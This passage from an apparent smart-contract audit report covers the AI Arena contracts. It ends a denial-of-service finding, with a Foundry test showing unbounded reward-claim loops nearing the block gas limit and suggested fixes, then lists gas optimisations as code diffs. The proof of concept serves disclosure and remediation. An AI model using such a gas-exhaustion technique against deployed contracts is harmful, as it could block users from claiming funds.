            vm.prank(address(_GAME_SERVER_ADDRESS));
            _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        }
        _rankedBattleContract.setNewRound();
    }

    uint256 gasBefore = gasleft();
    vm.prank(claimee);
    _rankedBattleContract.claimNRN();
    uint256 gasAfter = gasleft();
    uint256 gasDiff = gasBefore - gasAfter;
    emit log_uint(gasDiff);
    assertGt(gasDiff, 1_000_000);
}

You can run the test by:

forge test --mt testClaimNRNDoS -vv

In the case of claimNRN function, it consumed more than 1M gas which is relatively less as compared to claimRewards function. But still it has potential to reach block gas limit.

Even for the users for whom these both functions doesn't reach block gas limit, it can be very expensive and difficult for them to claim their rewards if some rounds has passed.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

It can be fixed by adding a parameter for the number of rounds to consider.

For claimRewards function, so the changes would look like:

function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
-    uint256[2][] calldata customAttributes
+    uint256[2][] calldata customAttributes,
+    uint32 totalRoundsToConsider
)
    external
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
+    require(lowerBound + totalRoundsToConsider < roundId, "MergingPool: totalRoundsToConsider exceeds the limit");
-    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
+    for (uint32 currentRound = lowerBound; currentRound < lowerBound + totalRoundsToConsider; currentRound++) {
        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

For claimNRN function, so the changes would look like:

- function claimNRN() external {
+ function claimNRN(uint32 totalRoundsToConsider) external {
    require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
    uint256 claimableNRN = 0;
    uint256 nrnDistribution;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
+    require(lowerBound + totalRoundsToConsider < roundId, "RankedBattle: totalRoundsToConsider exceeds the limit");
-    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
+    for (uint32 currentRound = lowerBound; currentRound < lowerBound + totalRoundsToConsider; currentRound++) {
        nrnDistribution = getNrnDistribution(currentRound);
        claimableNRN += (
            accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution
        ) / totalAccumulatedPoints[currentRound];
        numRoundsClaimed[msg.sender] += 1;
    }
    if (claimableNRN > 0) {
        amountClaimed[msg.sender] += claimableNRN;
        _neuronInstance.mint(msg.sender, claimableNRN);
        emit Claimed(msg.sender, claimableNRN);
    }
}

Assessed type

DoS

1. Code of addAttributeProbabilities function is repeated in AiArenaHelper contract's constructor even after calling the function.

The AiArenaHelper constructor ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L41 ):

/// @dev Constructor to initialize the contract with the attribute probabilities for gen 0.
/// @param probabilities An array of attribute probabilities for the generation.
constructor(uint8[][] memory probabilities) {
    _ownerAddress = msg.sender;

    // Initialize the probabilities for each attribute
@->    addAttributeProbabilities(0, probabilities);

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
@->        attributeProbabilities[0][attributes[i]] = probabilities[i];
        attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i];
    }
}

attributeProbabilities[0][attributes[i]] = probabilities[i]; is already done in addAttributeProbabilities function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L131 ):

/// @notice Add attribute probabilities for a given generation.
/// @dev Only the owner can call this function.
/// @param generation The generation number.
/// @param probabilities An array of attribute probabilities for the generation.
function addAttributeProbabilities(uint256 generation, uint8[][] memory probabilities) public {
    require(msg.sender == _ownerAddress);
    require(probabilities.length == 6, "Invalid number of attribute arrays");

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
@->        attributeProbabilities[generation][attributes[i]] = probabilities[i];
    }
}

So the steps of addAttributeProbabilities function is repeated in AiArenaHelper contract's constructor even after calling the function. Gas can be saved by removing the redundant steps in the constructor:

constructor(uint8[][] memory probabilities) {
    _ownerAddress = msg.sender;

    // Initialize the probabilities for each attribute
    addAttributeProbabilities(0, probabilities);

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
-        attributeProbabilities[0][attributes[i]] = probabilities[i];
        attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i];
    }
}

2. fighters.length is a storage variable which is used in a loop thus can be cached outside the loop.

The FighterFarm::claimFighters function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L191 ):

function claimFighters(
    uint8[2] calldata numToMint,
    bytes calldata signature,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    bytes32 msgHash = bytes32(keccak256(abi.encode(
        msg.sender,
        numToMint[0],
        numToMint[1],
        nftsClaimed[msg.sender][0],
        nftsClaimed[msg.sender][1]
    )));
    require(Verification.verify(msgHash, signature, _delegatedAddress));
    uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
    require(modelHashes.length == totalToMint && modelTypes.length == totalToMint);
    nftsClaimed[msg.sender][0] += numToMint[0];
    nftsClaimed[msg.sender][1] += numToMint[1];
    for (uint16 i = 0; i < totalToMint; i++) {
        _createNewFighter(
            msg.sender,
@->            uint256(keccak256(abi.encode(msg.sender, fighters.length))),
            modelHashes[i],
            modelTypes[i],
            i < numToMint[0] ? 0 : 1,
            0,
            [uint256(100), uint256(100)]
        );
    }
}

Here, _createNewFighter function will increment the fighters.length as new fighter will be pushed in fighters array. So we can cache the fighters.length, which is used in the loop, before the loop and increment the cached value inside the loop to save gas:

function claimFighters(
    uint8[2] calldata numToMint,
    bytes calldata signature,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    bytes32 msgHash = bytes32(keccak256(abi.encode(
        msg.sender,
        numToMint[0],
        numToMint[1],
        nftsClaimed[msg.sender][0],
        nftsClaimed[msg.sender][1]
    )));
    require(Verification.verify(msgHash, signature, _delegatedAddress));
    uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
    require(modelHashes.length == totalToMint && modelTypes.length == totalToMint);
    nftsClaimed[msg.sender][0] += numToMint[0];
    nftsClaimed[msg.sender][1] += numToMint[1];
+    uint256 fightersLength = fighters.length;
    for (uint16 i = 0; i < totalToMint; i++) {
        _createNewFighter(
            msg.sender,
-            uint256(keccak256(abi.encode(msg.sender, fighters.length))),
+            uint256(keccak256(abi.encode(msg.sender, fightersLength))),
            modelHashes[i],
            modelTypes[i],
            i < numToMint[0] ? 0 : 1,
            0,
            [uint256(100), uint256(100)]
        );
+        unchecked{++fightersLength};
    }
}

3. Storage variable used more than once in a function can be cached.

<details> <summary> The instances having this issue: </summary>

File: `FighterFarm.sol`

244            mintpassIdsToBurn.length == mintPassDnas.length &&
245            mintPassDnas.length == fighterTypes.length &&
246            fighterTypes.length == modelHashes.length &&
247            modelHashes.length == modelTypes.length

249        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {

mintpassIdsToBurn.length, mintPassDnas.length, fighterTypes.length, modelHashes.length, modelTypes.length are used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233

File: `FighterFarm.sol`

372    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);

378    numRerolls[tokenId] += 1;

379    uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

numRerolls[tokenId] is used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370

File: `GameItems.sol`
159    dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp ||

166    if (dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp) {

dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp is used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L147

File: `GameItems.sol`
160    quantity <= allowanceRemaining[msg.sender][tokenId]

169    allowanceRemaining[msg.sender][tokenId] -= quantity;

allowanceRemaining[msg.sender][tokenId] is used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L147

File: `GameItems.sol`
152    allGameItemAttributes[tokenId].finiteSupply == false ||

154    allGameItemAttributes[tokenId].finiteSupply == true &&

170    if (allGameItemAttributes[tokenId].finiteSupply) {

allGameItemAttributes[tokenId].finiteSupply is used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L147

File: `GameItems.sol`
155    quantity <= allGameItemAttributes[tokenId].itemsRemaining

171    allGameItemAttributes[tokenId].itemsRemaining -= quantity;

allGameItemAttributes[tokenId].itemsRemaining is used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L147

File: `GameItems.sol`
231    emit Locked(_itemCount);

233    setTokenURI(_itemCount, tokenURI);

234    _itemCount += 1;

_itemCount is used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L208

File: `GameItems.sol`
295    require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");

299    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {

_itemCount is used more than once in the function.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294

</details>

4. No need to check for msg.sender to be owner before burn function as it will revert if the caller is not the owner.

In the redeemMintPass function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233 ):

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,
    uint8[] calldata iconsTypes,
    string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
)
    external
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length &&
        mintPassDnas.length == fighterTypes.length &&
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
@->        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
@->        _mintpassInstance.burn(mintpassIdsToBurn[i]);
        _createNewFighter(
            msg.sender,
            uint256(keccak256(abi.encode(mintPassDnas[i]))),
            modelHashes[i],
            modelTypes[i],
            fighterTypes[i],
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

The require check require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); isn't required as _mintpassInstance.burn(mintpassIdsToBurn[i]); will revert if msg.sender isn't the owner of the mintpassIdsToBurn[i]. So the require check can be removed.

5. Reducing the condition in require check will save the gas.

In the mint function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L147 ):

function mint(uint256 tokenId, uint256 quantity) external {
    require(tokenId < _itemCount);
    uint256 price = allGameItemAttributes[tokenId].itemPrice * quantity;
    require(_neuronInstance.balanceOf(msg.sender) >= price, "Not enough NRN for purchase");
@->    require(
        allGameItemAttributes[tokenId].finiteSupply == false ||
        (
            allGameItemAttributes[tokenId].finiteSupply == true &&
            quantity <= allGameItemAttributes[tokenId].itemsRemaining
        )
    );
    require(
        dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp ||
        quantity <= allowanceRemaining[msg.sender][tokenId]
    );

    _neuronInstance.approveSpender(msg.sender, price);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, price);
    if (success) {
        if (dailyAllowanceReplenishTime[msg.sender][tokenId] <= block.timestamp) {
            _replenishDailyAllowance(tokenId);
        }
        allowanceRemaining[msg.sender][tokenId] -= quantity;
        if (allGameItemAttributes[tokenId].finiteSupply) {
            allGameItemAttributes[tokenId].itemsRemaining -= quantity;
        }
        _mint(msg.sender, tokenId, quantity, bytes("random"));
        emit BoughtItem(msg.sender, tokenId, quantity);
    }
}

The condition in require( allGameItemAttributes[tokenId].finiteSupply == false || (allGameItemAttributes[tokenId].finiteSupply == true && quantity <= allGameItemAttributes[tokenId].itemsRemaining) ); can be reduced to allGameItemAttributes[tokenId].finiteSupply == false || quantity <= allGameItemAttributes[tokenId].itemsRemaining.

It is due to the fact that a or (!a and b) is equivalent to a or b. Which can also be verified on https://web.stanford.edu/class/cs103/tools/truth-table-tool/ or any other truth table generator.

• Truth table for a or (!a and b):

  <table><tr><th>a</th><th>b</th><th>(a ∨ (¬a ∧ b))</th></tr><tr><td>F</td><td>F</td><td>F</td></tr><tr><td>F</td><td>T</td><td>T</td></tr><tr><td>T</td><td>F</td><td>T</td></tr><tr><td>T</td><td>T</td><td>T</td></tr></table>

• Truth table for a or b:

  <table><tr><th>a</th><th>b</th><th>(a ∨ b)</th></tr><tr><td>F</td><td>F</td><td>F</td></tr><tr><td>F</td><td>T</td><td>T</td></tr><tr><td>T</td><td>F</td><td>T</td></tr><tr><td>T</td><td>T</td><td>T</td></tr></table>

6. !isSelectionComplete[roundId] isn't required to check in the MergingPool::pickWinner function.

In the MergingPool::pickWinner function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L118 ):

function pickWinner(uint256[] calldata winners) external {
    require(isAdmin[msg.sender]);
    require(winners.length == winnersPerPeriod, "Incorrect number of winners");
@->    require(!isSelectionComplete[roundId], "Winners are already selected");
    uint256 winnersLength = winners.length;
    address[] memory currentWinnerAddresses = new address[](winnersLength);
    for (uint256 i = 0; i < winnersLength; i++) {
        currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
        totalPoints -= fighterPoints[winners[i]];
        fighterPoints[winners[i]] = 0;
    }
    winnerAddresses[roundId] = currentWinnerAddresses;
    isSelectionComplete[roundId] = true;
    roundId += 1;
}

The require(!isSelectionComplete[roundId], "Winners are already selected"); check isn't required as every time MergingPool::pickWinner function is called, roundId is incremented so isSelectionComplete[roundId] will always be false.

7. No need to add or subtract with points if it's zero in RankedBattle::_addResultPoints.

The _addResultPoints function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L416 ):

function _addResultPoints(
    uint8 battleResult,
    uint256 tokenId,
    uint256 eloFactor,
    uint256 mergingPortion,
    address fighterOwner
)
    private
{
    ...

    if (battleResult == 0) {
        /// If the user won the match

        ...

        /// Add points to the fighter for this round
        accumulatedPointsPerFighter[tokenId][roundId] += points;
        accumulatedPointsPerAddress[fighterOwner][roundId] += points;
        totalAccumulatedPoints[roundId] += points;
        if (points > 0) {
            emit PointsChanged(tokenId, points, true);
        }
    } else if (battleResult == 2) {
        /// If the user lost the match

        ...

        if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            /// If the fighter has a positive point balance for this round, deduct points

            ...

            accumulatedPointsPerFighter[tokenId][roundId] -= points;
            accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
            totalAccumulatedPoints[roundId] -= points;
            if (points > 0) {
                emit PointsChanged(tokenId, points, false);
            }
        } else {
            /// If the fighter does not have any points for this round, NRNs become at risk of being lost

            ...

        }
    }
}

There's already an if check for points > 0 before adding or subtracting points to accumulatedPointsPerFighter[tokenId][roundId], accumulatedPointsPerAddress[fighterOwner][roundId], and totalAccumulatedPoints[roundId]. So there's no need to add or subtract with points if it's zero.

The changes can be made as follows:

function _addResultPoints(
    uint8 battleResult,
    uint256 tokenId,
    uint256 eloFactor,
    uint256 mergingPortion,
    address fighterOwner
)
    private
{
    ...

    if (battleResult == 0) {
        /// If the user won the match

        ...

        /// Add points to the fighter for this round
-        accumulatedPointsPerFighter[tokenId][roundId] += points;
-        accumulatedPointsPerAddress[fighterOwner][roundId] += points;
-        totalAccumulatedPoints[roundId] += points;
        if (points > 0) {
+            accumulatedPointsPerFighter[tokenId][roundId] += points;
+            accumulatedPointsPerAddress[fighterOwner][roundId] += points;
+            totalAccumulatedPoints[roundId] += points;
            emit PointsChanged(tokenId, points, true);
        }
    } else if (battleResult == 2) {
        /// If the user lost the match

        ...

        if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            /// If the fighter has a positive point balance for this round, deduct points

            ...

-            accumulatedPointsPerFighter[tokenId][roundId] -= points;
-            accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
-            totalAccumulatedPoints[roundId] -= points;
            if (points > 0) {
+                accumulatedPointsPerFighter[tokenId][roundId] -= points;
+                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
+                totalAccumulatedPoints[roundId] -= points;
                emit PointsChanged(tokenId, points, false);
            }
        } else {
            /// If the fighter does not have any points for this round, NRNs become at risk of being lost

            ...

        }
    }
}

8. Updating curStakeAtRisk in RankedBattle::_addResultPoints function only in block where it's used can save gas if that block isn't reached.

The _addResultPoints function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L416 ):

function _addResultPoints(
    uint8 battleResult,
    uint256 tokenId,
    uint256 eloFactor,
    uint256 mergingPortion,
    address fighterOwner
)
    private
{
    ...

@-> if (battleResult == 0) {
        /// If the user won the match

        ...

        /// Do not allow users to reclaim more NRNs than they have at risk
@->     if (curStakeAtRisk > stakeAtRisk) {
            curStakeAtRisk = stakeAtRisk;
        }

        /// If the user has stake-at-risk for their fighter, reclaim a portion
        /// Reclaiming stake-at-risk puts the NRN back into their staking pool
@->     if (curStakeAtRisk > 0) {
            _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
            amountStaked[tokenId] += curStakeAtRisk;
        }

        ...

@-> } else if (battleResult == 2) {
        /// If the user lost the match

        /// Do not allow users to lose more NRNs than they have in their staking pool
@->     if (curStakeAtRisk > amountStaked[tokenId]) {
            curStakeAtRisk = amountStaked[tokenId];
        }
        if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            /// If the fighter has a positive point balance for this round, deduct points

            ...

@->     } else {
            /// If the fighter does not have any points for this round, NRNs become at risk of being lost
            bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
            if (success) {
                _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] -= curStakeAtRisk;
            }
        }
    }
}

For battleResult == 0, the if block checking curStakeAtRisk > stakeAtRisk can be added inside the next if block for curStakeAtRisk > 0 as curStakeAtRisk is only used in that block. This will save gas if the if block isn't reached.

Similarly, for battleResult == 2, the if block checking curStakeAtRisk > amountStaked[tokenId] can be added inside the else case of the next if block for accumulatedPointsPerFighter[tokenId][roundId] > 0 as curStakeAtRisk is only used in that block. This will save gas if the else block isn't reached.

The changes can be made as follows:

function _addResultPoints(
    uint8 battleResult,
    uint256 tokenId,
    uint256 eloFactor,
    uint256 mergingPortion,
    address fighterOwner
)
    private
{
    ...

    if (battleResult == 0) {
        /// If the user won the match

        ...

-        /// Do not allow users to reclaim more NRNs than they have at risk
-        if (curStakeAtRisk > stakeAtRisk) {
-            curStakeAtRisk = stakeAtRisk;
-        }

        /// If the user has stake-at-risk for their fighter, reclaim a portion
        /// Reclaiming stake-at-risk puts the NRN back into their staking pool
        if (curStakeAtRisk > 0) {
+            /// Do not allow users to reclaim more NRNs than they have at risk
+            if (curStakeAtRisk > stakeAtRisk) {
+                curStakeAtRisk = stakeAtRisk;
+            }
            _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
            amountStaked[tokenId] += curStakeAtRisk;
        }

        ...

    } else if (battleResult == 2) {
        /// If the user lost the match

-        /// Do not allow users to lose more NRNs than they have in their staking pool
-        if (curStakeAtRisk > amountStaked[tokenId]) {
-            curStakeAtRisk = amountStaked[tokenId];
-        }
        if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            /// If the fighter has a positive point balance for this round, deduct points

            ...

        } else {
+            /// Do not allow users to lose more NRNs than they have in their staking pool
+            if (curStakeAtRisk > amountStaked[tokenId]) {
+                curStakeAtRisk = amountStaked[tokenId];
+            }
            /// If the fighter does not have any points for this round, NRNs become at risk of being lost
            bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
            if (success) {
                _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] -= curStakeAtRisk;
            }
        }
    }
}

9. No need to consider points if stakeAtRisk != 0 in RankedBattle::_addResultPoints.

The _addResultPoints function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L416 ):

function _addResultPoints(
    uint8 battleResult,
    uint256 tokenId,
    uint256 eloFactor,
    uint256 mergingPortion,
    address fighterOwner
)
    private
{
    uint256 stakeAtRisk;
    uint256 curStakeAtRisk;
@-> uint256 points = 0;

    ...

    if (battleResult == 0) {
        /// If the user won the match

        /// If the user has no NRNs at risk, then they can earn points
@->     if (stakeAtRisk == 0) {
            points = stakingFactor[tokenId] * eloFactor;
        }

        /// Divert a portion of the points to the merging pool
        uint256 mergingPoints = (points * mergingPortion) / 100;
        points -= mergingPoints;
        _mergingPoolInstance.addPoints(tokenId, mergingPoints);

        ...

        /// Add points to the fighter for this round
        accumulatedPointsPerFighter[tokenId][roundId] += points;
        accumulatedPointsPerAddress[fighterOwner][roundId] += points;
        totalAccumulatedPoints[roundId] += points;
        if (points > 0) {
            emit PointsChanged(tokenId, points, true);
        }
    } else if (battleResult == 2) {
        /// If the user lost the match

        ...

    }
}

The points is initialized to 0 and then it's updated only if stakeAtRisk == 0 for battleResult == 0 if block, . So there's no need to consider points if stakeAtRisk != 0. So the following changes can be made:

function _addResultPoints(
    uint8 battleResult,
    uint256 tokenId,
    uint256 eloFactor,
    uint256 mergingPortion,
    address fighterOwner
)
    private
{
    uint256 stakeAtRisk;
    uint256 curStakeAtRisk;
    uint256 points = 0;

    ...

    if (battleResult == 0) {
        /// If the user won the match

        /// If the user has no NRNs at risk, then they can earn points
        if (stakeAtRisk == 0) {
            points = stakingFactor[tokenId] * eloFactor;
+
+            /// Divert a portion of the points to the merging pool
+            uint256 mergingPoints = (points * mergingPortion) / 100;
+            points -= mergingPoints;
+            _mergingPoolInstance.addPoints(tokenId, mergingPoints);
+
+            /// Add points to the fighter for this round
+            accumulatedPointsPerFighter[tokenId][roundId] += points;
+            accumulatedPointsPerAddress[fighterOwner][roundId] += points;
+            totalAccumulatedPoints[roundId] += points;
+            if (points > 0) {
+                emit PointsChanged(tokenId, points, true);
+            }
        }

-        /// Divert a portion of the points to the merging pool
-        uint256 mergingPoints = (points * mergingPortion) / 100;
-        points -= mergingPoints;
-        _mergingPoolInstance.addPoints(tokenId, mergingPoints);

        ...

-        /// Add points to the fighter for this round
-        accumulatedPointsPerFighter[tokenId][roundId] += points;
-        accumulatedPointsPerAddress[fighterOwner][roundId] += points;
-        totalAccumulatedPoints[roundId] += points;
-        if (points > 0) {
-            emit PointsChanged(tokenId, points, true);
-        }
    } else if (battleResult == 2) {
        /// If the user lost the match

        ...

    }
}

10. Storage variable used as counter inside the loop can be updated after the loop.

The RankedBattle::claimNRN function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294 ):

function claimNRN() external {
    require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
    uint256 claimableNRN = 0;
    uint256 nrnDistribution;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        nrnDistribution = getNrnDistribution(currentRound);
        claimableNRN += (
            accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution
        ) / totalAccumulatedPoints[currentRound];
@->        numRoundsClaimed[msg.sender] += 1;
    }
    if (claimableNRN > 0) {
        amountClaimed[msg.sender] += claimableNRN;
        _neuronInstance.mint(msg.sender, claimableNRN);
        emit Claimed(msg.sender, claimableNRN);
    }
}

The MergingPool::claimRewards function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139 ):

function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
)
    external
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
@->        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

In both the functions, the storage variable numRoundsClaimed[msg.sender] is used as a counter inside the loop and is updated inside the loop. It can be updated after the loop to save gas.

The changes can be made as follows for claimNRN function:

function claimNRN() external {
    require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
    uint256 claimableNRN = 0;
    uint256 nrnDistribution;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
        nrnDistribution = getNrnDistribution(currentRound);
        claimableNRN += (
            accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution
        ) / totalAccumulatedPoints[currentRound];
-        numRoundsClaimed[msg.sender] += 1;
    }
+    numRoundsClaimed[msg.sender] = roundId;
    if (claimableNRN > 0) {
        amountClaimed[msg.sender] += claimableNRN;
        _neuronInstance.mint(msg.sender, claimableNRN);
        emit Claimed(msg.sender, claimableNRN);
    }
}

The changes can be made as follows for claimRewards function:

function claimRewards(
    string[] calldata modelURIs,
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
)
    external
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
-        numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
                _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
+    numRoundsClaimed[msg.sender] = roundId;
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

11. Variable initialized only in constructor can be made immutable.

In the RankedBattle constructor ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L146 ):

constructor(
    address ownerAddress,
    address gameServerAddress,
    address fighterFarmAddress,
    address voltageManagerAddress
) {
    _ownerAddress = ownerAddress;
    _gameServerAddress = gameServerAddress;
@->    _fighterFarmInstance = FighterFarm(fighterFarmAddress);
@->    _voltageManagerInstance = VoltageManager(voltageManagerAddress);
    isAdmin[_ownerAddress] = true;
    rankedNrnDistribution[0] = 5000 * 10**18;
}

The _fighterFarmInstance and _voltageManagerInstance are initialized only in the constructor and are not modified after that. So they can be made immutable to save gas.

13. No need to save both contract address and its instance in storage.

In the RankedBattle::setStakeAtRiskAddress function ( https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L192 ):

/// @notice Sets the Stake at Risk contract address and instantiates the contract.
/// @dev Only the owner address is authorized to call this function.
/// @param stakeAtRiskAddress The address of the Stake At Risk contract.
function setStakeAtRiskAddress(address stakeAtRiskAddress) external {
    require(msg.sender == _ownerAddress);
@->    _stakeAtRiskAddress = stakeAtRiskAddress;
@->    _stakeAtRiskInstance = StakeAtRisk(_stakeAtRiskAddress);
}

There's no need to store both _stakeAtRiskAddress and _stakeAtRiskInstance in storage. As generally in this contract, only instances are stored for other contracts, it would be better to remove the _stakeAtRiskAddress from storage and it can be accessed using address(_stakeAtRiskInstance) whenever required.